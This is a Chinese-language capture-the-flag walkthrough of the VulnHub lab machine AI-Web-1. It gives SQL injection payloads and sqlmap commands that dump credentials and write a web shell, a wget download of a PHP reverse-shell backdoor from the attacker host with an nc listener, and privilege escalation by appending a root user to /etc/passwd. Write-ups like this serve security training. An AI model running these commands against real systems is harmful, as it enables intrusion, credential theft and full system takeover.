标签:SQL注入、sqlmap写shell、反弹shell、写入passwd提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
flag数量:1
攻击机:kali
攻击机地址:192.168.5.3
靶机描述:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
靶机地址是192.168.5.5
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.5.5
只开放了80端口,看一下
啥也没有,扫描一下目录吧
3.目录扫描
命令:dirb http://192.168.5.5 -X .php,.html,.txt
使用默认字典扫描出两个页面,看看robots.txt页面
0x02 SQL注入
在robots.txt中发现了两个目录,分别是http://192.168.5.5/m3diNf0/
和http://192.168.5.5/se3reTdir777/uploads/
。但是访问这两个路径都是403,试试访问http://192.168.5.5/se3reTdir777/
是个查询页面,应该有sql注入,fuzz一下
果然有sql注入,经过测试,这是一个单引号闭合的显错注入,3个字段,注释要用#不能用--+。
数据库:uid=1.1' union select 1,2,database() #
为了方便,下面用sqlmap进行注入
数据表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 --tables
有两个数据表,user表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T user --columns
显然不是我们想要的数据。再看一下systemUser表
systemUser表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T systemUser --dump
这里有三组账号密码,看样子密码应该是base64加密,解密一下。
解密后的账号分别是:
t00r \ FakeUserPassw0rd
aiweb1pwn \ MyEvilPass_f908sdaf9_sadfasf0sa
u3er \ N0tThis0neAls0
0x03 sqlmap写shell
拿到了账号密码,但是并没有登录页面。看了一下表哥的文章,表哥又扫描了目录。那就再把上面的目录扫描一下,看看有没有子目录。
分别扫描:http://192.168.5.5/m3diNf0/
、http://192.168.5.5/se3reTdir777/uploads/
和http://192.168.5.5/se3reTdir777/
子目录。
在http://192.168.5.5/m3diNf0/
目录下发现了info.php文件
访问看一下
是phpinfo页面,在这个页面上有绝对路径,如果路径有写权限的话,可以使用sqlmap写一个shell进去。
这里可以看到,网站的根目录是/home/www/html/web1x443290o2sdf92213
。刚才在robots.txt文件中看到了http://192.168.5.5/se3reTdir777/uploads/
目录,uploads目录虽然不能访问,但是一般都具有写权限,尝试把shell写入到uploads目录下,uploads的绝对路径是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
。
开始写入,命令:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --os-shell
写入成功
0x04 反弹shell
写入shell成功了,但是用着不太方便,再反弹一个shell吧。这里通过在靶机中wget一个php后门来反弹shell。
①首先制作一个php后门文件
代码:
&3 2>&3");
?>
②在kali上运行临时服务器服务,命令:python -m SimpleHTTPServer 8000
③在靶机上下载文件,命令:wget http://192.168.5.3:8000/web1.php
④在kali上监听4444端口,命令:nc -lvp 4444
⑤运行靶机上的web1.php
kali上已经接收到反弹的shell了
0x05 提权
反弹shell后,whoami
查询当前身份,是www-data
查询/etc/passwd
文件属性,发现拥有者是www-data,并且拥有读写权限
可以通过向/etc/passwd
文件中添加用户来提权:
①使用kali的openssl工具加密密码,比如我想创建一个用户名是dn的用户,密码是111111。命令就是:openssl passwd -1 -salt dn 111111
②将刚才生成的密码进行整理,生成/etc/passwd文件格式的字符串:dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash
第一个冒号之前是用户名,第一个冒号之后就是刚才生成的密码,其余的照写就好了。
③在靶机上将上面这段字符串追加到/etc/passwd文件里面,命令:echo 'dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash' >> /etc/passwd
注意这里一定要用单引号,因为字符中有$符号,如果使用双引号会导致$被当做变量去解析。我在这弄了半天。
④然后在靶机上使用python弹一个交互式shell,我用python2报错,就用python3了,命令:python3 -c "import pty;pty.spawn('/bin/bash')"
⑤输入su dn
,输入密码
flag在/root下,切换到/root目录拿到flag
0x06 小结
该靶机相对比较简单,从目录扫描开始,发现注入点,然后再次目录扫描发现phpinfo文件,使用sqlmap+phpinfo写shell,getshell之后反弹shell,提权也非常简单,就是向/etc/passwd文件中追加root用户即可。只是sql注入查到的3组用户名密码并没有什么用。
由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”
参考链接
1.vulnhub靶机AI-WEB-1.0渗透测试
2.vulnhub之AI-web1
3.使用sqlmap曲折渗透某服务器